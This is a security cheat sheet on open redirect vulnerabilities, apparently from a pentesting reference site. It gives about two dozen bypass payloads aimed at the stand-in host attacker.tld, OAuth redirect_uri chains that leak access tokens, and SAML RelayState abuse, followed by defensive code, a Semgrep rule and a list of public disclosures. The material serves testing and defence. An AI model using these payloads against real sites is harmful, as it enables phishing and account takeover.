Vulnsy
All cheat sheets

Open Redirect Cheat Sheet

mediumOWASP Top 10 A10CWE-601

An open redirect lets an attacker control the destination of a server- or client-driven redirect, sending users from a trusted host to attacker.tld. Vulnerabilities sit on parameters like ?next=, ?url=, ?return_to= or in OAuth redirect_uri validation. Impact ranges from phishing and SAML RelayState abuse to full account takeover when chained with implicit-flow OAuth, where a token leaks via the URL fragment.

The high-impact angle is the OAuth chain: a strict redirect_uri allowlist plus a single open redirect on the client app is enough to exfiltrate access tokens. Modern bypasses are parser-differential — gateway decodes once, downstream handler decodes twice — which is why filter-only defenses keep failing and why exact-match redirect_uri plus a server-side mapping are the durable fixes.

21 payloads across 5 technique families

Parameter-based open redirect

Classic sink: a redirect parameter is reflected verbatim into a Location header or a JavaScript navigation call. Hunt for ?url=, ?next=, ?return_to=, ?redirect=, ?continue=, ?dest=, ?target=, ?rurl=, ?go=, ?goto=, ?image_url=, ?back=, ?returnUrl=, and form fields that drive post-login or post-logout navigation.

Detection signals
  • 30x response with Location: header pointing at attacker-controlled host.
  • 200 response containing window.location, location.assign, location.replace or <meta http-equiv="refresh"> referencing the parameter.
  • Burp Match-and-Replace test: substitute trusted host with attacker.tld and confirm cross-origin 30x.

Absolute attacker URL

/login?next=https://attacker.tld

Server emits Location: https://attacker.tld with no validation. Confirms the parameter feeds an unguarded redirect sink.

Protocol-relative URL

/login?next=//attacker.tld

Browsers reuse the current scheme so //attacker.tld becomes https://attacker.tld. Defeats validators that only check for http/https string prefixes or assume an http:// is missing.

Extra-slash over-stripping

/login?next=////attacker.tld

Some normalisers collapse repeated slashes after running the validator, leaving the browser to parse the host as attacker.tld.

Triple-slash parser quirk

/login?next=https:///attacker.tld

A handful of URL libraries strip the leading slash after the scheme, mis-parsing the authority component.

Filter-bypass variants

When the application has some validation, the bypass is usually a parser disagreement between the validator and the URL the browser actually follows. Test one technique per request and observe divergence between accepted and emitted URLs.

Detection signals
  • Differential response: send https://trusted.tld vs //attacker.tld vs https://trusted.tld@attacker.tld and observe which the validator accepts.
  • Compare validator-side parsed host against the host used in the emitted Location header.

Userinfo (@-trick)

https://trusted.tld@attacker.tld/

Browsers parse trusted.tld as RFC 3986 userinfo and attacker.tld as the real host. Defeats naive startsWith("https://trusted.tld") or contains("trusted.tld") checks.

Backslash bypass

https://trusted.tld\@attacker.tld

Backend treats backslash as a path character but browsers normalise it to forward slash, so the host the user actually visits is attacker.tld.

CRLF-broken javascript: URI

java%0d%0ascript%0d%0a:alert(1)

Inserting CRLF inside the scheme defeats keyword denylists looking for the literal string "javascript:" while still being treated as a JavaScript URI by the browser after normalisation.

Data URI

data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0naHR0cHM6Ly9hdHRhY2tlci50bGQnPC9zY3JpcHQ+

For HTML-rendering redirect sinks (e.g. iframe src, meta refresh) data: URIs run attacker JavaScript inside the parent origin in some browsers.

IDN homograph / fullwidth period

//google%E3%80%82com

U+3002 (fullwidth full stop) is normalised to "." by the browser host parser, so google.com.attacker-controlled lookalikes pass naive substring checks.

Double-encoded slash

https://trusted.tld%252f@attacker.tld/

Single-decode validator sees trusted.tld%2f@attacker.tld and treats trusted.tld as the host; the browser decodes a second time, turning %2f into /, so attacker.tld becomes the host.

Whitespace prefix

%20//attacker.tld

Browsers strip leading whitespace from URL parsing, so the validator sees a "relative" path while the browser navigates to attacker.tld. Tab (%09) behaves the same way.

Parameter pollution (HPP)

/login?next=trusted.tld&next=https://attacker.tld

Validator picks the first occurrence, redirect logic picks the last (or vice versa). Documented bypass on 10/16 IdPs in the 2023 ACM CCS study.

Null byte truncation

https://trusted.tld%00.attacker.tld

Some legacy parsers truncate at the null byte while the browser does not, splitting the host between validator and runtime.

OAuth redirect_uri abuse → token leak

The highest-impact open-redirect class. The authorization server enforces a redirect_uri allowlist, but the client app contains an open redirect, so the attacker registers a permitted callback that itself bounces to attacker.tld. With response_type=token (implicit) the access token leaks via the URL fragment, which any attacker page can read with document.location.hash.

Detection signals
  • authorization-code or fragment access_token visible in the Referer header of an off-domain request.
  • redirect_uri value reflected verbatim in the /authorize Location header without canonicalisation.
  • Implicit-flow response_type=token where the registered callback is on the same host as a known client open redirect.

Chained client-side open redirect

Implicit-flow OAuth client
/authorize?client_id=CLIENT&redirect_uri=https://client.example.com/redirect?url=https://attacker.tld&response_type=token&scope=openid+email&state=STATE

Authorization server validates host (client.example.com is on the allowlist); client app then redirects to attacker.tld with #access_token=... attached, which the attacker page reads from window.location.hash.

Path-confusion against substring allowlist

/authorize?client_id=CLIENT&redirect_uri=https://client.example.com.attacker.tld/cb&response_type=token

Allowlist substring-matches the host instead of doing exact equality, so client.example.com.attacker.tld matches but resolves to attacker-controlled DNS.

Path-traversal in registered callback

/authorize?client_id=CLIENT&redirect_uri=https://client.example.com/cb/%2e%2e/redirect?url=https://attacker.tld&response_type=token

Allowlist treats /cb as a prefix; encoded ../ traversal lands on a different open-redirect endpoint on the same host. Patched by exact-match validation in OAuth 2.1.

Wildcard subdomain + dangling DNS

/authorize?client_id=CLIENT&redirect_uri=https://abandoned.example.com/cb&response_type=token

A *.example.com allowlist combined with a dangling subdomain takeover lets the attacker host the callback themselves and capture the token directly.

SAML RelayState abuse

SAML SPs forward the user to whatever URL is in RelayState after assertion validation. If RelayState is unvalidated, a login link can drop the victim onto attacker.tld immediately after authentication, frequently leaking referer-bound cookies, anti-CSRF tokens, or one-click login URLs the user clicks while still trusting the IdP.

Detection signals
  • SP forwards to off-domain host immediately after AssertionConsumerService POST.
  • RelayState parameter not signed, not bound to a registered SP-side allowlist, and not constrained to a relative path.

Unvalidated RelayState redirect

SAML 2.0 service provider
/saml/login?RelayState=https://attacker.tld&SAMLRequest=...

After successful SSO the SP issues 302 to RelayState. Because the value is not bound to a server-side allowlist or relative path, the user lands on attacker.tld with full session context.

Parser-differential bypasses

Modern (2023-2026) class: validator and downstream handler use different URL parsers (Go net/url vs Python urllib vs Node WHATWG vs the browser). The validator parses one way, the redirect emitter parses another, and the same string maps to different hosts. Documented in Black Hat Asia 2019 ("Make Redirection Evil Again") and the 2023 ACM CCS IdP study.

Detection signals
  • Same input string parses to different host values across validator, gateway, and runtime parser.
  • Single-decode validator + multi-decode framework (Spring, Express middleware chains) on the redirect handler.

Double-decode discrepancy

https://trusted.tld%252f@attacker.tld/

Gateway decodes once and sees trusted.tld as host; downstream handler decodes a second time so %2f becomes / and attacker.tld becomes the host. Defeats "fully secured" allowlists.

Userinfo parser disagreement

https://trusted.tld:80@attacker.tld/

Some libraries treat trusted.tld:80 as host:port while browsers and others parse it as userinfo, so validator and runtime resolve to different hosts.

PostMessage-bridge open redirect

window.opener.postMessage({redirect: 'https://attacker.tld'}, '*')

SPAs that window.open() and then accept a postMessage redirect target give any attacker-origin frame an open-redirect primitive on the parent window.

Modern bypasses (2023–2026)

Double-URL-decode discrepancy

Gateway URL-decodes once (sees the validator-friendly value), downstream redirect handler URL-decodes a second time, so %252f becomes /. Bypass works against allowlists that look "fully secured" because the validator sees a literal user-info string. Multi-thousand-USD bounty class in 2024.

https://trusted.tld%252f@attacker.tld/

Path-confusion in OAuth redirect_uri

Allowlist treats redirect_uri=https://client.example.com/cb as a prefix; attacker supplies https://client.example.com/cb/../redirect?url=evil. Trailing-slash and percent-encoded ../ (%2e%2e) variations bypass naive matching. RFC 8252 / OAuth 2.1 mandate exact-match for exactly this reason.

https://client.example.com/cb/%2e%2e/redirect?url=https://attacker.tld

OAuth parameter pollution

Two redirect_uri parameters in the /authorize request: IdP validates the first, client uses the last (or vice versa). 10 of 16 IdPs studied in the 2023 ACM CCS paper were vulnerable; combined with path confusion this becomes account takeover.

/authorize?redirect_uri=https://safe/cb&redirect_uri=https://attacker.tld&response_type=token

Server-side URL-parser differential

Go net/url, Python urllib, Node WHATWG URL and the WHATWG browser parser disagree on userinfo, fragment, and percent-decoding rules. The same input string parses to different hosts in the validator and the redirect emitter, exactly as catalogued at Black Hat Asia 2019.

https://trusted.tld:80@attacker.tld/

PostMessage-bridge redirect

Some SPAs window.open() a child and accept a redirect target via postMessage with a wildcard origin. Any attacker-origin frame can then drive the parent through window.opener, turning the popup pattern into a cross-origin redirect.

Defences

Server-side mapping of opaque IDs to URLs

Highest-assurance pattern: never accept a user-supplied URL. Take an opaque ID or short-name (?dest=settings) and resolve it against a static map server-side. Eliminates the entire bug class because there is no user-controlled string in the Location header.

# Flask example — opaque destination IDs only
from flask import Flask, abort, redirect, request

REDIRECT_MAP = {
    "settings": "/account/settings",
    "billing": "/account/billing",
    "help": "https://help.example.com/",
}

app = Flask(__name__)

@app.route("/go")
def go():
    dest = request.args.get("dest", "")
    target = REDIRECT_MAP.get(dest)
    if not target:
        abort(400)
    return redirect(target, code=302)

Strict host allowlist with battle-tested parser

When you must accept a URL, parse it with a known-good parser (URL in Node, urllib in Python) and compare parsed.host against an allowlist using exact equality, not substring or regex. Force scheme to https. Reject userinfo, backslashes, and percent-encoded slashes/backslashes before parsing.

// Node.js — exact-host allowlist + pre-parse rejection
const ALLOWED_HOSTS = new Set(['app.example.com', 'docs.example.com']);
const FORBIDDEN = /[\\@]|%2f|%5c|%00|\u3002/i;

export function safeRedirect(input: string): string | null {
  if (FORBIDDEN.test(input)) return null;
  let parsed: URL;
  try {
    parsed = new URL(input, 'https://app.example.com');
  } catch {
    return null;
  }
  if (parsed.protocol !== 'https:') return null;
  if (parsed.username || parsed.password) return null;
  if (!ALLOWED_HOSTS.has(parsed.host)) return null;
  return parsed.toString();
}

Exact-match OAuth redirect_uri (RFC 8252 / OAuth 2.1)

OAuth 2.1 mandates byte-exact comparison between the registered redirect_uri and the one supplied at /authorize. No wildcards, no prefix matching, no normalisation. Pair with PKCE and short-lived codes; tie state to the user session so a stolen state alone cannot complete a flow.

// Authorization-server side validation
function validateRedirectUri(client: ClientRecord, supplied: string): boolean {
  // OAuth 2.1: byte-exact match against the pre-registered list.
  return client.registeredRedirectUris.some((registered) => registered === supplied);
}

// Reject implicit flow entirely; require PKCE on the auth code flow.
function isAllowedResponseType(responseType: string): boolean {
  return responseType === 'code';
}

Sign or restrict SAML RelayState

Either sign RelayState (HMAC bound to session) or restrict it to relative paths only and reject any value containing scheme or authority. Validate at the SP before issuing the post-assertion redirect.

Off-domain interstitial confirmation

For unavoidable off-domain redirects (mail, marketing trackers, intentionally-public link shorteners), serve an HTML interstitial that names the destination and requires a click to proceed. Removes the silent-redirect primitive that phishing depends on.

Block JavaScript redirect sinks at lint time

ESLint and Semgrep rules on window.location = userInput, location.assign(userInput), location.replace(userInput), and document.location = userInput catch the client-side variant before it ships.

# Semgrep — flag user-controlled JS navigation
rules:
  - id: js-open-redirect-sink
    languages: [javascript, typescript]
    message: User-controlled value flowing into a navigation sink — open redirect risk
    severity: WARNING
    pattern-either:
      - pattern: window.location = $X
      - pattern: location.assign($X)
      - pattern: location.replace($X)
      - pattern: document.location = $X

Real-world CVEs

CVEYearTitleDescription
HackerOne #4051002018Stealing OAuth tokens via redirect_uri (chained open redirect)Canonical disclosure showing a client-side open redirect inside a *.example.com OAuth allowlist. Attacker chained /authorize → registered callback → /redirect?url= sink → attacker.tld; implicit-flow access tokens leaked via document.location.hash.
CCS 2023 IdP Study2023OAuth 2.0 Redirect URI Validation Falls Short, LiterallyAcademic study of 16 production identity providers: 6 vulnerable to path confusion in redirect_uri validation, 10 to parameter pollution, several to both. Combined attacks demonstrated full account takeover; vendors patched throughout 2023-2024.
Voorivex 20242024Bypassing a "fully secured" redirect_uri via double-decodingProduction OAuth implementation defeated by a parser-differential: gateway URL-decoded the redirect_uri once, downstream redirect handler decoded twice. Payload trusted.tld%252f@attacker.tld passed validation and resolved to attacker.tld in the browser.
PortSwigger Web Security Academy2024OAuth account hijacking via redirect_uriReference lab (refreshed 2023-2024) where an OAuth client allowlist permits a host that contains a /redirect?url= sink, enabling implicit-flow token theft. Standard textbook exploitation chain used in pentest reports.

Further reading